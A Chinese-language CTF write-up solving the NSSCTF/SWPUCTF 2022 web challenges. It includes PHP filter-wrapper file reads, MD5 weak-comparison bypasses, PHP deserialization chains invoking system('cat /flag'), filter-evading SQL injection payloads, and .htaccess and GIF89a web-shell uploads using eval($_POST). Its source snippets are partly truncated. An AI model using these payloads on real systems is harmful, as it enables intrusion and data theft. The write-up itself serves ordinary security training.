目录
ez_ez_php
ez_ez_php(revenge)
奇妙的MD5
1z_unserialize
numgame
where_am_i
ez_ez_unserialize
js_sign
xff
webdog1__start
ez_sql
funny_php
funny_web
ez_1zpop
Ez_upload
file_master
Power!
源代码:
文件包含而且还限制了开头3个字符为php
直接php伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
payload:
?file=php://filter/read=convert.base64-encode/resource=flag
base64解码
源代码:
payload:
?file=php://filter/convert.base64-encode/resource=/flag
ffifdyop
经过md5加密后:276f722736c95d99e921722cf9ed621c
再转换为字符串:'or'6<乱码> 即 'or'66�]��!r,��b
用途:
select * from admin where password=''or'6<乱码>'
就相当于select * from admin where password=''or 1 实现sql注入
查看一下源代码
md5绕过
payload:
?x=240610708&y=QLTHNDT
访问f1na11y.php
直接数组绕过
wqh[]=1&dsy[]=2
源代码:
lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
这是这一题的
注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了
payload:
lt='system';
$a->lly='ls /';
echo serialize($a);
?>
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}
接下来就是cat flag就行了
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
在设置里打开开发者工具
进入设置禁用js即可
flag在js文件中
base64解码
我们的目的,就是通过get传参p然后,借助 call_user_func调用nss中的ctf静态方法
if (preg_match("/n|c/m",$_GET['p'], $matches))
就是禁用了n和c,然后/m以多文本形式,
call_user_func($_GET['p']);调用p传入的函数
这里普及一个知识点
可以通过NSS::CTF调用类中的CTF的静态方法,这里的类名和方法名不区分大小写
所以我们就可以大写绕过
又因为hint2.php
?p=Nss2::Ctf
猜测电话号码
去搜索图片即可
02886112888
源代码:
x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
payload:
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
还要绕过__wakeup函数
所以修改为:
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
看看源代码
有个js
这应该就是解题的关键了
这里使用到一个工具
CTF在线工具-在线敲击码|敲击码编码|敲击码算法|tap code (hiencode.com)
去空格解码
3343431344215434452124331421311122125444113513341415
会出现这个
flag
NSSCTF{youfindflagbytapcode}
一般的md5绕过是传入0e开头的md5值,因为在弱比较时,弱比较中会截取一个字符串的数字,知道遇到字符截止,对于0e+数字的值只会截取e之前的0,所以这里即便是令传入的md5值等于$md5后还需要等于其自身进行md5的值,我们选取0e或者加密后仍为0e开头的数就行例如:0e215962017 、以及这些纯字符串转化后为0e+数字的数:QNKCDZO、s878926199a
?web=0e215962017
查看源代码
bot一般就是robots.txt,在以后你们做题时候会偶尔遇到泄露robots.txt从而得到提示的情况
开始会乱码,修复即可(如果是firefox可以在定制工具栏中找到)
藏的还挺深
str_ireplace将flag替换成空格
payload:
?get=system(ls);
%09相当于(tab)
?get=system("cat%09/f*");
相对安全的方法传参,这里应该指的是POST传参
尝试传一个
事情应该没有这么简单
通过尝试知道过滤了空格和or
可以用/**/替代空格or可以使用双写
nss=1'/**/oorrder/**/by/**/4#
我们可以得知数据库有3列
爆破数据库(union方法上同)
nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/database()),0x7e),1)#
爆破数据表(information的or也要过滤)
nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'),0x7e),1) #
爆破NSS_tb中的列
nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'),0x7e),1) #
爆破flag
nss=1'/**/ununionion/**/select/**/1,updatexml(1,concat(0x7e,(select/**/group_concat(flll444g)/**/from/**/NSS_tb),0x7e),1) #
一看就是个假的
爆破Secr3t
nss=0'/**/ununionion/**/select/**/1,(select/**/group_concat(Secr3t)/**/from/**/NSS_tb),3#
源代码:
999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
我们一步步来解
第一步
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
这里要求num的长度小于等于3,但却又要大于999999999,很容易可以想到1e9传参
所以payload:
?num=1e9
第二步
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
这里会将你传入字符串中的NSSCTF替换为空,那么我们只需要使用双写来进行绕过即可。
?str=NSSNSSCTFCTF
第三步
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
这里直接md5弱类型绕过即可
md5_1=240610708&md5_2=QLTHNDT
所以payload:
GET
?num=1e9&str=NSSNSSCTFCTF
POST
md5_1=240610708&md5_2=QLTHNDT
账号:NSS
密码:2122693401
payload:
?num=12345a
源代码:
impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
fin对象
fmm方法通过给�赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’
title再传入我们想要的命令
最后就可得到例,system(‘ls’) => �=′������′;a=′system′;title=‘目标命令’
lt对象
反序列化触发__wakeup,__destruct,__wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,绕过__wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大,如,O:3:“fin”:3:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;} => O:3:“fin”:4:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;}
__destruct方法触发就很简单了,将自己当字符串输出,直接触发__toString方法,返回fmm方法
payload:
impo=new fin();
echo serialize($aa);
?>
这里修改lt属性个数绕过__wakeup
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:2:"ur";s:3:"111";s:5:"title";s:4:"ls%20/";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QLTHNDT";}
拿flag
payload:
impo=new fin();
echo serialize($aa);
?>
?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:2:"ur";s:3:"111";s:5:"title";s:9:"cat%20/flag";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QLTHNDT";}
文件上传
上传.htaccess文件
SetHandler application/x-httpd-php
修改Content-Type
上传shell.mochu
访问shell.mochu即可
先写a.php
写入
GIF89a
=eval($_POST['1']);?>
上传
将Content-Type修改
发现hight和width有限制
将GIF89a修改为
#define height 1
#define width 1
蚁剑连接上了但访问不了flag不知道为什么
后面看别的师傅写的
#define height 1
#define width 1
=`nl /f*`;?>
看一下源代码
loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '';
}else{
echo 'Seriously??
';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo 'POWER!!
';
}
}
?>
没怎么看懂
这里看大佬的wp
NSS[SWPUCTF 2022 新生赛]ez_sql+funny_php+js_sign+funny_web+Power! - 哔哩哔哩 (bilibili.com)
a=$m;
$n->b="local";
$m->local=$n;
echo (base64_encode(serialize($m)));
?>
payload:
?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czozMDoi6buR5ZCN5Y2V5LuA5LmI55qE566h5LiN552A5oiRIjtzOjU6ImxvY2FsIjtPOjg6IkJhY2tkb29yIjozOntzOjE6ImEiO3I6MTtzOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9
base64解码